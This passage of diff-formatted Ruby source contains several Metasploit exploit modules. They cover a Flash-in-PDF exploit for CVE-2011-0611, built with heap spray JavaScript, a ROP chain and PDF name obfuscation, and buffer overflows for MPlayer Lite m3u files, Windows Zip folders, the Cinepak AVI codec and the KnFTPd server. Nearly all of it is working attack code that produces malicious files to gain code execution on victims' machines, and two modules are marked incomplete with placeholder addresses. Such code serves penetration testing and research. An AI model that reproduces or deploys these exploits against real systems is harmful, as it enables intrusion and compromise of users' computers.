'Description' => %q{
|
||||
This module exploits a vulnerability in Adobe Flash Player that was discovered, and
|
||||
has been exploited actively in the wild. By embedding a specially crafted .swf file,
|
||||
Adobe Flash crashes due to an invalid use of an object type, which allows attackers to
|
||||
overwrite a pointer in memory, and results arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Found being openly exploited
|
||||
'sinn3r', # browser module
|
||||
'jduck' # File format version
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-0611' ],
|
||||
[ 'OSVDB', '71686' ],
|
||||
[ 'BID', '47314' ],
|
||||
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
|
||||
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
|
||||
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
|
||||
[ 'URL', 'http://secunia.com/blog/210' ],
|
||||
# For SWF->PDF embedding
|
||||
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested OK via Adobe Reader 10.0.1 on Windows XP SP3 (uses flash 10.2.152.23) -jjd
|
||||
[ 'Automatic', { }],
|
||||
],
|
||||
'DisclosureDate' => 'Apr 11 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
swf_data = make_swf()
|
||||
js_data = make_js(payload.encoded)
|
||||
|
||||
# Create the pdf
|
||||
pdf = make_pdf(swf_data, js_data)
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||
|
||||
file_create(pdf)
|
||||
end
|
||||
|
||||
def make_swf
|
||||
# load the static swf file
|
||||
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2011-0611.swf")
|
||||
fd = File.open( path, "rb" )
|
||||
swf_data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
swf_data
|
||||
end
|
||||
|
||||
def make_js(encoded_payload)
|
||||
|
||||
# Generate the ROP payload
|
||||
rvas = rvas_bib_xpsp3()
|
||||
rop = generate_rop(rvas)
|
||||
#rop << "\xcc"
|
||||
rop << encoded_payload
|
||||
|
||||
# Setup some JS vars
|
||||
var_unescape = rand_text_alpha(rand(100) + 1)
|
||||
var_shellcode = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
var_start = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
var_s = 0x10000
|
||||
var_c = rand_text_alpha(rand(100) + 1)
|
||||
var_b = rand_text_alpha(rand(100) + 1)
|
||||
var_d = rand_text_alpha(rand(100) + 1)
|
||||
var_3 = rand_text_alpha(rand(100) + 1)
|
||||
var_i = rand_text_alpha(rand(100) + 1)
|
||||
var_4 = rand_text_alpha(rand(100) + 1)
|
||||
|
||||
payload_buf = pattern_create(2048)
|
||||
payload_buf[1288, rop.length] = rop
|
||||
|
||||
escaped_payload = Rex::Text.to_unescape(payload_buf)
|
||||
|
||||
js = %Q|
|
||||
var #{var_unescape} = unescape;
|
||||
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );
|
||||
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
|
||||
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};
|
||||
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);
|
||||
#{var_b} += #{var_shellcode};
|
||||
#{var_b} += #{var_c};
|
||||
#{var_d} = #{var_b}.substring(0, #{var_s}/2);
|
||||
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};
|
||||
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);
|
||||
var #{var_4} = new Array();
|
||||
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";
|
||||
|
|
||||
|
||||
js
|
||||
end
|
||||
|
||||
def RandomNonASCIIString(count)
|
||||
result = ""
|
||||
count.times do
|
||||
result << (rand(128) + 128).chr
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
def ioDef(id)
|
||||
"%d 0 obj\n" % id
|
||||
end
|
||||
|
||||
def ioRef(id)
|
||||
"%d 0 R" % id
|
||||
end
|
||||
|
||||
|
||||
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
||||
def nObfu(str)
|
||||
result = ""
|
||||
str.scan(/./u) do |c|
|
||||
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
|
||||
result << "#%x" % c.unpack("C*")[0]
|
||||
else
|
||||
result << c
|
||||
end
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
|
||||
def ASCIIHexWhitespaceEncode(str)
|
||||
result = ""
|
||||
whitespace = ""
|
||||
str.each_byte do |b|
|
||||
result << whitespace << "%02x" % b
|
||||
whitespace = " " * (rand(3) + 1)
|
||||
end
|
||||
result << ">"
|
||||
end
|
||||
|
||||
|
||||
def make_pdf(swf, js)
|
||||
|
||||
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"
|
||||
|
||||
xref = []
|
||||
eol = "\n"
|
||||
endobj = "endobj" << eol
|
||||
|
||||
# Randomize PDF version?
|
||||
pdf = "%PDF-1.5" << eol
|
||||
#pdf << "%" << RandomNonASCIIString(4) << eol
|
||||
|
||||
# catalog
|
||||
xref << pdf.length
|
||||
pdf << ioDef(1) << nObfu("<</Type/Catalog")
|
||||
pdf << nObfu("/Pages ") << ioRef(3)
|
||||
pdf << nObfu("/OpenAction ") << ioRef(5)
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# pages array
|
||||
xref << pdf.length
|
||||
pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj
|
||||
|
||||
# page 1
|
||||
xref << pdf.length
|
||||
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)
|
||||
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# js action
|
||||
xref << pdf.length
|
||||
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj
|
||||
|
||||
# js stream
|
||||
xref << pdf.length
|
||||
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
|
||||
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
|
||||
pdf << "stream" << eol
|
||||
pdf << compressed << eol
|
||||
pdf << "endstream" << eol
|
||||
pdf << endobj
|
||||
|
||||
# swf annotation object
|
||||
xref << pdf.length
|
||||
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")
|
||||
pdf << nObfu("/Rect [20 20 187 69] ")
|
||||
pdf << nObfu("/RichMediaSettings ") << ioRef(8)
|
||||
pdf << nObfu("/RichMediaContent ") << ioRef(9)
|
||||
pdf << nObfu("/NM (") << swf_name << nObfu(")")
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media settings
|
||||
xref << pdf.length
|
||||
pdf << ioDef(8)
|
||||
pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")
|
||||
pdf << nObfu("/Activation ") << ioRef(10)
|
||||
pdf << nObfu("/Deactivation ") << ioRef(11)
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media content
|
||||
xref << pdf.length
|
||||
pdf << ioDef(9)
|
||||
pdf << nObfu("<</Type/RichMediaContent")
|
||||
pdf << nObfu("/Assets ") << ioRef(12)
|
||||
pdf << nObfu("/Configurations [") << ioRef(14) << "]"
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media activation / deactivation
|
||||
xref << pdf.length
|
||||
pdf << ioDef(10)
|
||||
pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")
|
||||
pdf << eol << endobj
|
||||
|
||||
xref << pdf.length
|
||||
pdf << ioDef(11)
|
||||
pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media assets
|
||||
xref << pdf.length
|
||||
pdf << ioDef(12)
|
||||
pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# swf embeded file ref
|
||||
xref << pdf.length
|
||||
pdf << ioDef(13)
|
||||
pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media configuration
|
||||
xref << pdf.length
|
||||
pdf << ioDef(14)
|
||||
pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")
|
||||
pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# rich media isntance
|
||||
xref << pdf.length
|
||||
pdf << ioDef(15)
|
||||
pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")
|
||||
pdf << nObfu("/Asset ") << ioRef(13)
|
||||
pdf << nObfu(">>")
|
||||
pdf << eol << endobj
|
||||
|
||||
# swf stream
|
||||
# NOTE: This data is already compressed, no need to compress it again...
|
||||
xref << pdf.length
|
||||
pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol
|
||||
pdf << "stream" << eol
|
||||
pdf << swf << eol
|
||||
pdf << "endstream" << eol
|
||||
pdf << endobj
|
||||
|
||||
# trailing stuff
|
||||
xrefPosition = pdf.length
|
||||
pdf << "xref" << eol
|
||||
pdf << "0 %d" % (xref.length + 1) << eol
|
||||
pdf << "0000000000 65535 f" << eol
|
||||
xref.each do |index|
|
||||
pdf << "%010d 00000 n" % index << eol
|
||||
end
|
||||
|
||||
pdf << "trailer" << eol
|
||||
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
|
||||
|
||||
pdf << "startxref" << eol
|
||||
pdf << xrefPosition.to_s() << eol
|
||||
|
||||
pdf << "%%EOF" << eol
|
||||
pdf
|
||||
end
|
||||
|
||||
def rvas_bib_xpsp3()
|
||||
# BIB.dll from Reader 10.0.1 (Win32) on XPSP3
|
||||
# Just return this hash
|
||||
{
|
||||
'xchg esp, eax / ret' => 0x133c,
|
||||
'int 3 / ret' => 0xd75f,
|
||||
'ret 0x08' => 0x13e8,
|
||||
'ret' => 0x133d,
|
||||
|
||||
'pop ecx / ret' => 0x15fb,
|
||||
#'mov eax, [ecx] / ret' => 0x6fd4,
|
||||
|
||||
'pop eax / ret' => 0x75b1,
|
||||
'call [eax] / ret' => 0x5342,
|
||||
|
||||
'mov [eax], ecx / ret' => 0x158d,
|
||||
|
||||
'add eax, 4 / ret' => 0xab7e,
|
||||
|
||||
#'mov eax, ecx / pop ebp / ret' => 0x35c1,
|
||||
'push eax / adc al, 0x59 / pop ecx / ret' => 0xb80a,
|
||||
|
||||
#'mov esp, ebp / pop ebp / ret' => 0xe1f7,
|
||||
#'pop ebp / ret' => 0x15d9,
|
||||
|
||||
'pop edi / pop esi / ret' => 0x114e,
|
||||
}
|
||||
end
|
||||
|
||||
def generate_rop(rvas)
|
||||
# ROP fun! (XP SP3 English, Apr 21 2011)
|
||||
rvas.merge!({
|
||||
# Instructions / Name => RVA
|
||||
'BaseAddress' => 0x07000000,
|
||||
'imp_GetProcAddress' => 0x11028,
|
||||
'imp_memcpy' => 0x110f8,
|
||||
'data_Str' => 0x19c9c,
|
||||
'data_VirtualAlloc' => 0x19cac,
|
||||
'data_Code' => 0x19cac,
|
||||
})
|
||||
|
||||
# crash @ 0x30115037 / call [eax+8]
|
||||
rop_stack = [
|
||||
'ret 0x08',
|
||||
'ret',
|
||||
'xchg esp, eax / ret', # lines up with call [eax+0x08] from trigger
|
||||
'ret',
|
||||
|
||||
#'int 3 / ret',
|
||||
'ret',
|
||||
|
||||
# Write the function name to data_Str
|
||||
'pop eax / ret',
|
||||
'data_Str',
|
||||
'pop ecx / ret',
|
||||
0x74726956, # Virt
|
||||
'mov [eax], ecx / ret',
|
||||
'add eax, 4 / ret',
|
||||
'pop ecx / ret',
|
||||
0x416c6175, # ualA
|
||||
'mov [eax], ecx / ret',
|
||||
'add eax, 4 / ret',
|
||||
'pop ecx / ret',
|
||||
0x636f6c6c, # lloc
|
||||
'mov [eax], ecx / ret',
|
||||
|
||||
# Get the function addr
|
||||
'pop eax / ret',
|
||||
'imp_GetProcAddress',
|
||||
|
||||
'call [eax] / ret',
|
||||
0x7c800000, # kernel32 base
|
||||
'data_Str',
|
||||
|
||||
# Write the VirtualAlloc ptr to data_VirtualAlloc
|
||||
'push eax / adc al, 0x59 / pop ecx / ret',
|
||||
'pop eax / ret',
|
||||
'data_VirtualAlloc',
|
||||
'mov [eax], ecx / ret',
|
||||
|
||||
# Call VirtualAlloc
|
||||
'call [eax] / ret',
|
||||
0, # lpAddress
|
||||
0x1000, # dwSize
|
||||
0x3000, # flAllocationType
|
||||
0x40, # flProt
|
||||
|
||||
# Write the new RWX memory address to data_Code
|
||||
'push eax / adc al, 0x59 / pop ecx / ret',
|
||||
'pop eax / ret',
|
||||
'data_Code',
|
||||
'mov [eax], ecx / ret',
|
||||
|
||||
# Copy the rest of the payload to our new buffer
|
||||
'pop eax / ret',
|
||||
'imp_memcpy',
|
||||
'call [eax] / ret',
|
||||
0x220f0000, # hardcoded :(
|
||||
0x111111b8, # hardcoded :(
|
||||
0x1000,
|
||||
|
||||
# don't need anything since memcpy causes flow automatically into its first arg :)
|
||||
]
|
||||
|
||||
rop_stack.map! { |e|
|
||||
if e.kind_of? String
|
||||
# Meta-replace (RVA)
|
||||
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
|
||||
rvas['BaseAddress'] + rvas[e]
|
||||
|
||||
elsif e == :unused
|
||||
# Randomize
|
||||
rand_text(4).unpack('V').first
|
||||
|
||||
else
|
||||
# Literal
|
||||
e
|
||||
end
|
||||
}
|
||||
|
||||
rop_stack.pack('V*')
|
||||
end
|
||||
|
||||
def rva2addr(rvas, key)
|
||||
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
|
||||
rvas['BaseAddress'] + rvas[key]
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,88 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MPlayer Lite r33064 Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in MPlayer Lite r33064. When
|
||||
the application is used to import a specially crafted m3u file, a buffer overflow occurs
|
||||
allowing arbitrary code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'C4SS!0 And h1ch4m', # Original Exploit
|
||||
'SmilingWolf' # MSF Module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '46926'],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17013/' ],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
'DisablePayloadHandler' => 'true',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00\x0d\x0a\x26\x2f\x5c\x3e\x3f"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Universal', { 'Ret' => 0x6B04FCDE, 'Offset' => 5152 } ], # p/p/r in MPlayer.exe
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 19 2011',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
sploit = "\x90" * 100
|
||||
sploit << payload.encoded
|
||||
|
||||
sploit2 = "\x41" * (5152-sploit.length)
|
||||
sploit2 << "\xeb\x0f\xcc\xcc"
|
||||
sploit2 << [target.ret].pack('V')
|
||||
sploit2 << "\x90" * 15
|
||||
sploit2 << "\xE9\xD4\xEB\xFF\xFF"
|
||||
sploit2 << "\x90" * 400
|
||||
filesploit = sploit + sploit2
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create('http:// ' + filesploit)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
http://dev.metasploit.com/redmine/issues/4097
|
||||
=end
|
||||
@@ -0,0 +1,90 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Windows Zip File Handling Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability in
|
||||
Windows Zip Folders prior to MS04-034.
|
||||
|
||||
In order for the command to be executed, an attacker must convince someone to
|
||||
open a specially crafted zip file and ??
|
||||
|
||||
By doing so, an attacker can execute arbitrary
|
||||
code as the victim user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Tarako',
|
||||
'jduck'
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2004-0575' ],
|
||||
[ 'MSB', 'MS04-034' ],
|
||||
[ 'OSVDB', '10695' ],
|
||||
[ 'OSVDB', '12252' ],
|
||||
[ 'BID', '34044' ],
|
||||
[ 'URL', 'http://research.eeye.com/html/advisories/published/AD20041012A.html' ]
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x800,
|
||||
'BadChars' => ''
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows Universal', { 'Ret' => 0x41424344 }], # p/p/r
|
||||
],
|
||||
'DisclosureDate' => 'Oct 12 2004',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
# XXX: Unable to trigger on XP SP1
|
||||
fname = Rex::Text.pattern_create(0x9200)
|
||||
|
||||
content = rand_text_alphanumeric(rand(2048))
|
||||
|
||||
zip = Rex::Zip::Archive.new
|
||||
xtra = [0xdac0ffee].pack('V')
|
||||
comment = [0xbadc0ded].pack('V')
|
||||
zip.add_file(fname, content, xtra, comment)
|
||||
|
||||
# Create the file
|
||||
print_status("Creating '#{datastore['FILENAME']}' file...")
|
||||
|
||||
file_create(zip.pack)
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,246 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/projects/Framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::RIFF
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Microsoft Windows Media Player Cinepak Codec Integer Overflow',
|
||||
'Description' => %q{
|
||||
...
|
||||
...
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous', # Found bug, sold to ZDI
|
||||
'jduck' # Metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '66984' ],
|
||||
[ 'MSB', 'MS10-055' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP3', { 'Ret' => 0xdeadbeef } ], # ??
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Aug 10 2010',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'msf.avi']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
# Generate the malformed AVI :)
|
||||
width = 176
|
||||
height = 144
|
||||
num_frames = 3*25 # 3 seconds worth
|
||||
|
||||
# Stream List
|
||||
strl = ''
|
||||
|
||||
# Stream Header
|
||||
strh = ''
|
||||
strh << 'vids' # fccType
|
||||
strh << 'cvid' # fccHandler
|
||||
strh << [
|
||||
0x10000, # dwFlags
|
||||
0, # wPriority
|
||||
0, # wLanguage
|
||||
0, # dwInitialFrames
|
||||
0x9c40, # dwScale
|
||||
0xf4240, # dwRate
|
||||
0, # dwStart
|
||||
num_frames, # dwLength
|
||||
0, # dwSuggestedBufferSize
|
||||
-1, # dwQuality
|
||||
0, # dwSampleSize
|
||||
0,0,0,0 # rcFrame (rect)
|
||||
].pack('VvvVVVVVVVVvvvv')
|
||||
strl << riff_chunk('strh', strh)
|
||||
|
||||
# Stream Format
|
||||
strf = ''
|
||||
strf << [
|
||||
0x28, # biSize
|
||||
width, # biWidth
|
||||
height, # biHeight
|
||||
1, # biPlanes
|
||||
24, # biBitCount
|
||||
].pack('VVVvv')
|
||||
strf << 'cvid' # biCompression
|
||||
strf << [
|
||||
0, # biSizeImage
|
||||
0, # biXPelsPerMeter
|
||||
0, # biYPelsPerMeter
|
||||
0, # biClrUsed
|
||||
0, # biClrImportant
|
||||
].pack('VVVVV')
|
||||
strl << riff_chunk('strf', strf)
|
||||
|
||||
strd = "A" * 1024
|
||||
strl << riff_chunk('strd', strd)
|
||||
|
||||
# Header List
|
||||
hdrl = ''
|
||||
|
||||
# AVI Main Header
|
||||
avih = [
|
||||
0x9c40, # dwMicroSecPerFrame
|
||||
0, # dwMaxBytesPerSec
|
||||
0, # dwPaddingGranularity
|
||||
0x10, # dwFlags
|
||||
num_frames, # dwTotalFrames
|
||||
0, # dwInitialFrames
|
||||
1, # dwStreams
|
||||
0, # dwSuggestedBufferSize
|
||||
width, # dwWidth
|
||||
height, # dwHeight
|
||||
0,0,0,0 # dwReserved[4]
|
||||
].pack('VVVVVVVVVVVVVV')
|
||||
hdrl = riff_chunk('avih', avih)
|
||||
|
||||
# Add the stream list
|
||||
hdrl << riff_list_chunk('LIST', 'strl', strl)
|
||||
|
||||
# The movi frames
|
||||
chnk_id = 0x20 + rand(20)
|
||||
chnk_id = 0x31
|
||||
|
||||
movi = ''
|
||||
offsets = []
|
||||
fr_lens = []
|
||||
num_frames.times { |frx|
|
||||
offsets << movi.length
|
||||
if frx == 25
|
||||
fr_len = 0x1a00 + rand(0x180000)
|
||||
num_strips = 0x2000
|
||||
fr_len = num_strips * 0x300
|
||||
else
|
||||
fr_len = 0x1a00 + rand(0x200)
|
||||
num_strips = 0x40
|
||||
end
|
||||
fr_lens << fr_len
|
||||
|
||||
# frame header
|
||||
frhdr = [fr_len - 0x20].pack('N') # 24 bit len
|
||||
fr_id = rand(2)
|
||||
frhdr[0,1] = [fr_id].pack('C') # flags (prev codebook used?)
|
||||
frhdr << [
|
||||
width,
|
||||
height,
|
||||
num_strips # number of coded strips
|
||||
].pack('nnn')
|
||||
|
||||
# strips
|
||||
strip_len = fr_len / num_strips
|
||||
num_strips.times { |stx|
|
||||
# strip header
|
||||
shdr = [strip_len].pack('N') # 24 bit strip size
|
||||
strip_id = 0x10 + rand(2)
|
||||
shdr[0,1] = [strip_id].pack('C') # strip CVID id
|
||||
shdr << [
|
||||
0, # top
|
||||
0, # left
|
||||
0xffff, # bottom
|
||||
width # right
|
||||
].pack('nnnn')
|
||||
|
||||
# CVID Chunk
|
||||
chnk = ''
|
||||
if stx == 0
|
||||
chnk_len = 0x1000 * 4
|
||||
left = strip_len - shdr.length
|
||||
while left > 0
|
||||
if left < chnk_len
|
||||
tmp = "A" * (chnk_len - 4)
|
||||
else
|
||||
tmp = [chnk_len].pack('N') # 24 bit chunk data size
|
||||
tmp[0,1] = [chnk_id].pack('C') # CVID chunk id
|
||||
tmp << "A" * (chnk_len - 4)
|
||||
end
|
||||
chnk << tmp
|
||||
left -= tmp.length
|
||||
end
|
||||
else
|
||||
chnk_len = strip_len - shdr.length
|
||||
chnk << [chnk_len].pack('N') # 24 bit chunk data size
|
||||
#chnk_id = 0x20 + rand(20)
|
||||
chnk[0,1] = [chnk_id].pack('C') # CVID chunk id
|
||||
chnk << rand_text(chnk_len)
|
||||
end
|
||||
|
||||
fr_data = ''
|
||||
fr_data << frhdr
|
||||
fr_data << shdr
|
||||
fr_data << chnk
|
||||
|
||||
movi << riff_chunk('00dc', fr_data)
|
||||
}
|
||||
}
|
||||
|
||||
# Put the AVI list together
|
||||
avil = ''
|
||||
avil << riff_list_chunk('LIST', 'hdrl', hdrl)
|
||||
|
||||
# Build the idx1 chunk
|
||||
idx1 = ''
|
||||
num_frames.times { |x|
|
||||
# add the hdrl, riff chunk bytes, and movi chunk bytes on
|
||||
off = offsets[x] + 0x0c + (0x0c + hdrl.length) + 0x0c
|
||||
fr_len = fr_lens[x]
|
||||
|
||||
# dwChunkId
|
||||
idx1 << '00dc'
|
||||
idx1 << [
|
||||
0x12, # dwFlags
|
||||
off, # dwOffset
|
||||
fr_len # dwSize
|
||||
].pack('VVV')
|
||||
}
|
||||
|
||||
avil << riff_list_chunk('LIST', 'movi', movi)
|
||||
avil << riff_chunk('idx1', idx1)
|
||||
|
||||
# Wrap it in the RIFF chunk
|
||||
avi = riff_list_chunk('RIFF', 'AVI ', avil)
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(avi)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,97 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'KnFTPd 1.0.0 Server Remote Buffer Overflow Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the KnFTP FTP service without
|
||||
authenticated required, A long FTP command value will result in a
|
||||
buffer overflow. This Allows you to gain control as the user who
|
||||
started the application.
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Qixu Liu', # Original discovery
|
||||
'Blake', # Orginal exploit
|
||||
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://secunia.com/advisories/45907' ],
|
||||
[ 'URL', 'http://www.exploit-db.com/exploits/17819/' ],
|
||||
